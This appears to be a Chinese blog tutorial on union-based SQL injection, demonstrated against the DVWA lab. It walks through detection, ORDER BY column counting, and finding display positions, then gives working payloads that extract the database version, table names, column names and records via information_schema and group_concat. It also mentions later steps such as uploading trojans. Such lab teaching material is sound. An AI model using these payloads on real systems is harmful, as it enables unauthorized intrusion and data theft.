SQL注入--联合查询注入

一.基本概念

UNION 操作符:

该操作符用于合并两个或多个 SELECT 语句的结果集,UNION 结果集中的列名总是等于

UNION中第一个 SELECT 语句中的列名,并且UNION 内部的 SELECT 语句必须拥有相同

数量的列。

联合查询注入:

就是利用union操作符,将攻击者希望查询的语句注入到正常select语句之后,并返回输

出结果。

二.SQL注入的一般流程:

  1. SQL 注入点探测

    • 重点在于分析应用程序,查找可能存在注入漏洞的地方。通常,带有输入提交且会访问数据库的动态网页容易出现此类漏洞,尤其是程序员在采用动态构造 SQL 语句访问数据库时,若未对用户输入进行有效性验证,出现漏洞的可能性极大。主要借助页面的报错信息来判定是否存在 SQL 注入漏洞。
  2. 收集后台数据库信息

    • 由于不同数据库的注入方式与可用函数有别,所以注入前需先判断数据库类型。可通过输入特殊字符(如单引号)观察返回的错误信息提示,或利用特定函数(如输入 “select version ()”)看其能否被识别并执行来推断,像 version () 函数为 MySQL 特有的,若能执行则可推测后台数据库是 MySQL。
  3. 猜解数据库字段

    • 鉴于数据库表和字段命名存在一定规律,可构造特殊 SQL 语句,按顺序对数据库中的表名、字段名、字段数以及用户名和密码等进行猜解。
  4. 查找 Web 后台管理入口

    • WEB 后台管理通常仅限特定人员访问,利用 Web 目录扫描工具(如 wwwscan、AWVS 等)可快速搜索可能的登录地址,再逐个尝试,进而确定后台管理平台的登录网址。
  5. 入侵和破坏

    • 成功凭借之前破译的用户名、密码登录后台管理平台后,因其具备较高权限和丰富功能,便可实施破坏行为,像上传木马、篡改网页、窃取或修改信息等,甚至还能进一步提权,入侵 Web 服务器与数据库服务器。

三.判断漏洞是否存在

  1. 观察输入点和反馈信息

    • 先确定应用程序中用户输入的接口,如网页表单文本框、URL 参数处等。接着输入特殊字符或 SQL 关键字后,观察应用程序反馈,若返回数据库错误信息,或页面出现空白、加载异常、显示结果不符预期等情况,很可能存在注入漏洞。
  2. 测试逻辑判断异常

    • 在输入点尝试输入使 SQL 查询条件恒真(如 “' OR '1'='1​”)或恒假(如 “' AND '1'='2​”)的语句,若恒真输入后绕过验证逻辑、返回大量数据,或恒假输入后无数据返回(正常应有),则可能存在漏洞。
  3. 检查参数处理方式

    • 针对 URL 传递参数的情况,修改参数值添加特殊字符等观察页面响应;若能查看代码,检查用户输入是否直接拼接进 SQL 语句且无充分验证,若存在此类情况则大概率有注入风险。
  4. 使用自动化工具辅助检测

    • 利用专业扫描工具如 SQLmap、Netsparker 等自动扫描目标网站,发送测试用例并分析响应来判断是否存在 SQL 注入漏洞,但使用前需确保合法授权,避免影响目标网站。

四.判断注入类型

判断注入类型是数字型还是字符型,这涉及到在注入的过程中是否需要添加单引号,可以使用and( 逻辑与)进行判断,当条件表达式两边都为真才是真,有一边为假则是假

  • 通过语句判断:1 and 1=1 | 1 and 1=2

    • 返回相同内容:不是数字型注入,大概率是字符型注入

      PS:字符型一般需要添加单引号'​进行闭合,因为MySQL中的引号都是成双成对出现的。

    • 返回不相同内容:是数字型注入

  • 为什么可以通过这两条语句判断注入类型? --> 隐式类型转换

  • 通过添加字符串判断

    • 直接在要修改的数字后面添加字符串

      • 例如:id=1,那么就修改成id=1adsadw(随便添加几个字符串)

      • id=1qwe 和 id=1qad

        • 返回相同内容:不是数字型注入,大概率是字符型注入

          PS:字符型注入会发生隐式类型转换导致两次请求返回的内容相同。

        • 返回不相同内容:是数字型注入

五.判断表中列数

使用order by判断表中列数
  • 为了方便后续获取数据,需要先知道查询的表中显示的字段数,可以使用order by来进行判断。ORDER BY*语句用于根据指定的列对结果集进行排序。

  • 用法:order by 列名​ 或者 order by 列编号​。

  • 特性:当order by的数字大于当前的列数时候就会报错,SQL注入利用这个特性来判断列数。

  • 示例:

    http://127.0.0.1/DVWA-master/vulnerabilities/sqli/
    ?id=1' order by 2%23
    &Submit=Submit#

    • ​%23​:井号(#)进行了url编码。

      • 作用:将SQL语句中多余的单引号注释掉。
      • PS:GET型注入可以使用#号的url编码%23或者--+进行注释。

六.确定显示位

显示位:在一个网站的正常页面,服务端执行SQL语句查询数据库中的数据,客户端将数

据展示在页面中,这个展示数据的位置就叫显示位。

  • 具体演示

    • 示例语句:

      http://192.168.13.132/DVWA-master/vulnerabilities/sqli/
      ?id=1' union select 1,2%23
      &Submit=Submit#

    • 演示效果:

在实战中,一般不查询union左边的内容,这是因为程序在展示数据的时候通常只会取结果集的第一行数据,所以,只要让第一行查询的结果是空集,即union左边的select子句查询结果为空,那么union右边的查询结果自然就成为了第一行,打印在网页上了。而要让union左边查询不到,可以将其改为负数或者改为比较大的数字。

七.获取数据 --> 实际运用

  1. 获取数据库名、版本

    • 语句:' union select version(),database()%23

    • 示例:

      http://192.168.13.132/DVWA-master/vulnerabilities/sqli/
      ?id=1' union select database(),version()%23
      &Submit=Submit#

  2. 获取数据库表名

    • 具体语句:

      ' union select 1,table_name from information_schema.tables where table_schema='dvwa'%23
      
      • 语句解释:

        从 information_schema​ 数据库的 TABLES​ 表中查询出指定数据库(在本语句中是 dvwa​ 数据库)内所有数据表的名称(通过 table_name​ 字段获取),同时还额外查询了一个常数值 1​ 作为辅助列(实际应用中这个 1​ 可以按需替换成其他有意义的计算、常量等内容,在这里它主要是用于占位或者辅助查看结果的结构等)。

      • 很多网站只显示1条结果,为了能够输出所有结果,可以使用
        group_concat()函数,将多行合并成一行:

        ' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'#
        ' union select 1,table_name from information_schema.tables where table_schema='dvwa'#
        limit 0,1#group_concat()函数被过滤时,可以使用limit n,1来逐个输出查询内容。
        
  3. 获取某个表中的字段名

    • 具体语句:

      ' union select 1,group_concat(column_name) from information_schema.columns where table_name='guestbook'#
      
      • 语句解释:

        主要功能是尝试将从 information_schema.columns​ 表中查询到的指定表(这里是 guestbook​ 表)的所有列名/字段名(通过 column_name​ 字段获取),以拼接字符串(使用 group_concat()​ 函数进行拼接)的形式,和一个常量值 1​ 一起通过 UNION​ 操作符合并到一个结果集中展示出来。最后的 #​ 是 SQL 中的注释符号,用于注释掉后面原本可能存在的其他 SQL 语句部分,避免其对当前查询产生影响,常用于绕过一些安全验证机制等情况。

  4. 获取字段中的记录

    • 具体语句:

      ' union select 1,group_concat(comment_id,comment,name) from guestbook#
      
      • 语句解释:

        从名为 guestbook​ 的表中获取数据信息,并尝试绕过原有的一些查询限制或安全验证机制,将获取到的数据与一个常量值 1​ 通过 UNION​ 操作符合并展示出来。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值